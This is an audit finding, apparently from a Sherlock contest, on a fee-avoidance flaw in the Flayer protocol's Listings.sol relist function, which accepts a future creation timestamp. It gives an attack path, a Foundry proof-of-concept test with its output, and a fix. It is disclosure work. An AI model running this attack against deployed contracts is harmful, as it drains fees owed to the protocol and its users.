Skinny Coconut Parrot

High

# Users can obtain about a floor liquidity for any liquid duration without paying any fees.

### Summary

When relisting, user can set any creation time (`listing.created`) for the listing. So the user can set it to a time in the future and all attempts to fill/relist/reserve the listing before that time will be reverted. When the creation time comes, the user can cancel the listing without paying any fees as the duration of the listing has just begun and all prepaid fees will be refunded. Therefore, users can gain access to about 1 floor liquidity without paying any fees by using two addresses, one for creating listing and one for relisting.



### Root Cause

In `Listings.sol#relist`, it just stores the user inputed `listing` into the listing mappings  (`Listings.sol:670`). So the user can specify the `listing.created` to a time in the future.
```solidity
// Function: Listings.sol#relist

        // Store our listing into our Listing mappings
665:    _listings[_collection][_tokenId] = listing;
```
https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L665

### Internal pre-conditions

_No response_

### External pre-conditions

The user needs two addresses to work together to complete the attack.

### Attack Path

1. Alice has two wallet addresses: `_lister` and `_relister`.
2. Alice first uses `_lister` to create a listing for his NFT, and `_relister` gets about 1 floor liquidity of collection token (`1 floor -  
fees` exactly)).
3. Alice then uses `_relister` to relist the listing, and `_relister` pays the remaing value above the floor to `_lister`.  Alice sets the new `listing.created` to a time in the future and a relative high price, so that no other users want to fill/relist/reserve the listing when it comes to the time of `listing.created`.
4. No one can fill/relist/reserve the listing, as the listing is not available before the `listing.created` according to `getListingPrice`.
```solidity
// Function: Listings.sol#getListingPrice
        // This is an edge case, but protects against potential future logic. If the
        // listing starts in the future, then we can't sell the listing.
        if (listing.created > block.timestamp) {
859:        return (isAvailable_, totalPrice);
        }
```
https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L855-L859

5. When it comes to the time of `listing.created`, `_relister` cancels the listing and get all the prepaid fees back, as the duration has just begun and no fees will be charged for the relisted listing.
6. Finally, Alice's collection token balance (`_lister` + `_relister`) remains the same as at the beginning, which is to say that Alice can obtain about a floor liquidity of the collection token for any valid liquid duration without paying any fees.


### Impact

This issue resulted in users being able to obtain some collection tokens without paying any fees during any valid liquid listing 
 period, which undermined the core functionality of the protocol.


### PoC

```solidity

    function test_Relist() public {
        address _lister = address(0x11111);
        address _relister = address(0x22222);
        erc721a.mint(_lister, 1);

        ICollectionToken token = locker.collectionToken(address(erc721a));
        deal(address(token), _lister, 2 ether);
        deal(address(token), _relister, 2 ether);
        
        // save original balance
        uint256 balanceOfLister = token.balanceOf(_lister);
        uint256 balanceOfRelister = token.balanceOf(_relister);
        uint256 escrowBalanceOfLister = listings.balances(_lister, address(token));
        uint256 escrowBalanceOfRelister = listings.balances(_relister, address(token));
        uint256 totalBalance0 = balanceOfLister + balanceOfRelister + escrowBalanceOfLister + escrowBalanceOfRelister;
        console.log("[before]");
        console.log("    lister: balance=%d, escrowBalance=%d", balanceOfLister, escrowBalanceOfLister);
        console.log("  relister: balance=%d, escrowBalance=%d", balanceOfRelister, escrowBalanceOfRelister);
        console.log("     total: balance=%d", totalBalance0);

        uint[] memory _tokenIds = new uint[](1);

        vm.startPrank(_lister);
        erc721a.setApprovalForAll(address(listings), true);
        _tokenIds[0] = 1;
        IListings.CreateListing[] memory _listings = new IListings.CreateListing[](1);
        _listings[0] = IListings.CreateListing({
            collection: address(erc721a),
            tokenIds: _tokenIds,
            listing: IListings.Listing({
                owner: payable(_lister),
                created: uint40(block.timestamp),
                duration: 100 days,
                floorMultiple: 120
            })
        });
        listings.createListings(_listings);
        vm.stopPrank();

        vm.startPrank(_relister);
        token.approve(address(listings), 1 ether);
        listings.relist({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIds,
                listing: IListings.Listing({
                    owner: payable(_relister),
                    created: uint40(block.timestamp + 150 days),  // some time in the future
                    duration: 100 days,
                    floorMultiple: 120
                })
            }),
            _payTaxWithEscrow: false
        });
        vm.stopPrank();

        // Someone tries to fill the listing before the listing started, but fails.
        vm.warp(block.timestamp + 149 days);
        uint[][] memory tokenIdsOut = new uint[][](1);
        tokenIdsOut[0] = new uint[](1);
        tokenIdsOut[0][0] = 1;

        vm.expectRevert(IListings.ListingNotAvailable.selector);
        listings.fillListings(
            IListings.FillListingsParams({
                collection: address(erc721a),
                tokenIdsOut: tokenIdsOut
            })
        );

        // Relister can cancel the listing anytime if he wants his token back and return the 1 floor liquidity.
        vm.warp(block.timestamp + 1 days);
        vm.startPrank(_relister);
        token.approve(address(listings), type(uint).max);
        listings.cancelListings(address(erc721a), _tokenIds, false);
        vm.stopPrank();

        // get new balance
        balanceOfLister = token.balanceOf(_lister);
        balanceOfRelister = token.balanceOf(_relister);
        escrowBalanceOfLister = listings.balances(_lister, address(token));
        escrowBalanceOfRelister = listings.balances(_relister, address(token));
        uint256 totalBalance1 = balanceOfLister + balanceOfRelister + escrowBalanceOfLister + escrowBalanceOfRelister;
        console.log("[after]");
        console.log("    lister: balance=%d, escrowBalance=%d", balanceOfLister, escrowBalanceOfLister);
        console.log("  relister: balance=%d, escrowBalance=%d", balanceOfRelister, escrowBalanceOfRelister);
        console.log("     total: balance=%d", totalBalance1);

        assertEq(erc721a.ownerOf(1), _relister);
        assertEq(totalBalance0, totalBalance1);
    }
```
Add the above test case to `Listings.t.sol`, and test it with `forge test -vv --match-test=test_Relist`, the reuslt is shown as:
```solidity
Ran 1 test for test/Listings.t.sol:ListingsTest
[PASS] test_Relist() (gas: 990288)
Logs:
  [before]
      lister: balance=2000000000000000000, escrowBalance=0
    relister: balance=2000000000000000000, escrowBalance=0
       total: balance=4000000000000000000
  [after]
      lister: balance=2994285714285714286, escrowBalance=205714285714285714
    relister: balance=800000000000000000, escrowBalance=0
       total: balance=4000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.23ms (1.77ms CPU time)

Ran 1 test suite in 12.63ms (8.23ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

In `relist`, change the `listing.created` to `block.timestamp`.
```solidity
        // Store our listing into our Listing mappings
+       listing.created = uint40(block.timestamp);
        _listings[_collection][_tokenId] = listing; 
```